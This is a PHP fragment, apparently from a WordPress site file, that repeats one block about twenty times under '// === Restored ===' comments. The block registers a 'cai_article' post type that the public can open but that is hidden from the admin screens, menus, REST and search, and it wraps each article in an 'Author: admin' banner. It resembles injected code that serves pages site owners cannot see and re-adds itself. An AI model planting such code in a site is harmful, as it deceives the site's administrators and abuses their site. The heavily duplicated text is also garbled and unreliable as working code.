    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
